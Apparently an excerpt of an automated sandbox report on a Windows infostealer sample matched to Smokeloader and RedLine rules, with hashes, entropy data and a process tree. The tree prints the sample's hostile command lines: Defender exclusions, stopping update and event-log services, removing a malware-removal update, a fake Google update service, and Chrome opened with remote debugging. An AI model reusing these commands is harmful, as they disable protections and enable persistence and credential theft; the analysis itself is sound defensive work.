Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C74A430	0_2_6C74A430
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C724420	0_2_6C724420
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7064D0	0_2_6C7064D0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C75A4D0	0_2_6C75A4D0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7EA480	0_2_6C7EA480
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C760570	0_2_6C760570
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C722560	0_2_6C722560
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C718540	0_2_6C718540
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7C4540	0_2_6C7C4540
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C74E5F0	0_2_6C74E5F0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C78A5E0	0_2_6C78A5E0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C808550	0_2_6C808550
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6B45B0	0_2_6C6B45B0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C71C650	0_2_6C71C650
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C71E6E0	0_2_6C71E6E0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C75E6E0	0_2_6C75E6E0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6E46D0	0_2_6C6E46D0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C740700	0_2_6C740700
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6EA7D0	0_2_6C6EA7D0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C70E070	0_2_6C70E070
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C788010	0_2_6C788010
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C78C000	0_2_6C78C000
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C79C0B0	0_2_6C79C0B0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6D00B0	0_2_6C6D00B0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6B8090	0_2_6C6B8090
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C728140	0_2_6C728140
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C736130	0_2_6C736130
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7A4130	0_2_6C7A4130
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6C01E0	0_2_6C6C01E0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C748260	0_2_6C748260
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C758250	0_2_6C758250
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C8462C0	0_2_6C8462C0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C798220	0_2_6C798220
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C78A210	0_2_6C78A210
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C78E2B0	0_2_6C78E2B0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7922A0	0_2_6C7922A0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C756370	0_2_6C756370
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6C2370	0_2_6C6C2370
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7DC360	0_2_6C7DC360
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6C8340	0_2_6C6C8340
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C732320	0_2_6C732320
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7143E0	0_2_6C7143E0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C71E3B0	0_2_6C71E3B0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6F23A0	0_2_6C6F23A0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C802370	0_2_6C802370
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6C3C40	0_2_6C6C3C40
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7E9C40	0_2_6C7E9C40
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6D1C30	0_2_6C6D1C30
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C781CE0	0_2_6C781CE0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7FDCD0	0_2_6C7FDCD0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C75FC80	0_2_6C75FC80
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C809D90	0_2_6C809D90
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C723D00	0_2_6C723D00
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C791DC0	0_2_6C791DC0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6B3D80	0_2_6C6B3D80
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7CDE10	0_2_6C7CDE10
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6E3EC0	0_2_6C6E3EC0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C845E60	0_2_6C845E60
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C81BE70	0_2_6C81BE70
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C843FC0	0_2_6C843FC0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6F5F20	0_2_6C6F5F20
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6B5F30	0_2_6C6B5F30
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C76BFF0	0_2_6C76BFF0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C817F20	0_2_6C817F20

Source: Joe Sandbox View	Dropped File: C:\ProgramData\EHDHDHIECG.exe C81A924446D324B3AEB0772DFD9CBED34FB878AFF823BA2888362A22F7328FE8
Source: Joe Sandbox View	Dropped File: C:\ProgramData\Google\Chrome\updater.exe C81A924446D324B3AEB0772DFD9CBED34FB878AFF823BA2888362A22F7328FE8
Source: Joe Sandbox View	Dropped File: C:\ProgramData\chrome.dll 81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: String function: 00404610 appears 317 times
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: String function: 6C7F9F30 appears 31 times
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: String function: 6C8409D0 appears 256 times
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: String function: 6C84DAE0 appears 57 times
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: String function: 6C6E9B10 appears 72 times
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: String function: 6C84D930 appears 46 times
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: String function: 6C6E3620 appears 66 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 6956 -ip 6956

Source: chrome_131[1].exe.0.dr	Static PE information: Number of sections : 14 > 10
Source: EHDHDHIECG.exe.0.dr	Static PE information: Number of sections : 14 > 10
Source: updater.exe.9.dr	Static PE information: Number of sections : 14 > 10

Source: xLgTQcFdIJ.exe, 00000000.00000002.2214701424.000000006F902000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs xLgTQcFdIJ.exe
Source: xLgTQcFdIJ.exe, 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs xLgTQcFdIJ.exe
Source: xLgTQcFdIJ.exe, 00000000.00000002.2210148752.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUI vs xLgTQcFdIJ.exe

Source: xLgTQcFdIJ.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2193657294.0000000004880000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2193245741.0000000002EF3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: xLgTQcFdIJ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: EHDHDHIECG.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9913165758481279
Source: EHDHDHIECG.exe.0.dr	Static PE information: Section: ZLIB complexity 1.0022348638764729
Source: EHDHDHIECG.exe.0.dr	Static PE information: Section: ZLIB complexity 1.0413533834586466
Source: EHDHDHIECG.exe.0.dr	Static PE information: Section: ZLIB complexity 1.5625
Source: EHDHDHIECG.exe.0.dr	Static PE information: Section: ZLIB complexity 2.3333333333333335
Source: EHDHDHIECG.exe.0.dr	Static PE information: Section: ZLIB complexity 1.030054644808743
Source: EHDHDHIECG.exe.0.dr	Static PE information: Section: ZLIB complexity 1.1047619047619048
Source: EHDHDHIECG.exe.0.dr	Static PE information: Section: .reloc ZLIB complexity 1.5
Source: chrome_131[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9913165758481279
Source: chrome_131[1].exe.0.dr	Static PE information: Section: ZLIB complexity 1.0022348638764729
Source: chrome_131[1].exe.0.dr	Static PE information: Section: ZLIB complexity 1.0413533834586466
Source: chrome_131[1].exe.0.dr	Static PE information: Section: ZLIB complexity 1.5625
Source: chrome_131[1].exe.0.dr	Static PE information: Section: ZLIB complexity 2.3333333333333335
Source: chrome_131[1].exe.0.dr	Static PE information: Section: ZLIB complexity 1.030054644808743
Source: chrome_131[1].exe.0.dr	Static PE information: Section: ZLIB complexity 1.1047619047619048
Source: chrome_131[1].exe.0.dr	Static PE information: Section: .reloc ZLIB complexity 1.5
Source: updater.exe.9.dr	Static PE information: Section: ZLIB complexity 0.9913165758481279
Source: updater.exe.9.dr	Static PE information: Section: ZLIB complexity 1.0022348638764729
Source: updater.exe.9.dr	Static PE information: Section: ZLIB complexity 1.0413533834586466
Source: updater.exe.9.dr	Static PE information: Section: ZLIB complexity 1.5625
Source: updater.exe.9.dr	Static PE information: Section: ZLIB complexity 2.3333333333333335
Source: updater.exe.9.dr	Static PE information: Section: ZLIB complexity 1.030054644808743
Source: updater.exe.9.dr	Static PE information: Section: ZLIB complexity 1.1047619047619048
Source: updater.exe.9.dr	Static PE information: Section: .reloc ZLIB complexity 1.5

Source: classification engine

Classification label: mal100.troj.adwa.spyw.evad.winEXE@78/58@7/8

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_6C720300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C720300

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_00418810 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00418810

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_00413970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00413970

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\70GCJP1N.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7328:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7652:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6100:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7740:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7252:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7604:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3272:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7668:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5572:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7564:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6956
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7216:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k4jokapo.lug.ps1

Jump to behavior

Source: xLgTQcFdIJ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\ProgramData\EHDHDHIECG.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: xLgTQcFdIJ.exe, 00000000.00000002.2213636251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2207280061.000000001D397000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: xLgTQcFdIJ.exe, 00000000.00000002.2213636251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2207280061.000000001D397000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: xLgTQcFdIJ.exe, 00000000.00000002.2213636251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2207280061.000000001D397000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: chrome.exe, 00000001.00000002.1843490503.0000307C00422000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: xLgTQcFdIJ.exe, 00000000.00000002.2213636251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2207280061.000000001D397000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: xLgTQcFdIJ.exe, xLgTQcFdIJ.exe, 00000000.00000002.2213636251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2207280061.000000001D397000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: xLgTQcFdIJ.exe, 00000000.00000002.2213636251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2207280061.000000001D397000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: xLgTQcFdIJ.exe, 00000000.00000002.2213636251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2207280061.000000001D397000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: xLgTQcFdIJ.exe, 00000000.00000003.1835289038.000000002341B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: xLgTQcFdIJ.exe, 00000000.00000002.2213636251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2207280061.000000001D397000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: xLgTQcFdIJ.exe, 00000000.00000002.2213636251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2207280061.000000001D397000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: xLgTQcFdIJ.exe

ReversingLabs: Detection: 36%

Source: unknown	Process created: C:\Users\user\Desktop\xLgTQcFdIJ.exe "C:\Users\user\Desktop\xLgTQcFdIJ.exe"
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2260,i,8336973660302099987,9170347431899203215,262144 /prefetch:8
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\EHDHDHIECG.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\EHDHDHIECG.exe "C:\ProgramData\EHDHDHIECG.exe"
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 6956 -ip 6956
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6956 -s 2296
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\Google\Chrome\updater.exe C:\ProgramData\Google\Chrome\updater.exe
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\EHDHDHIECG.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2260,i,8336973660302099987,9170347431899203215,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
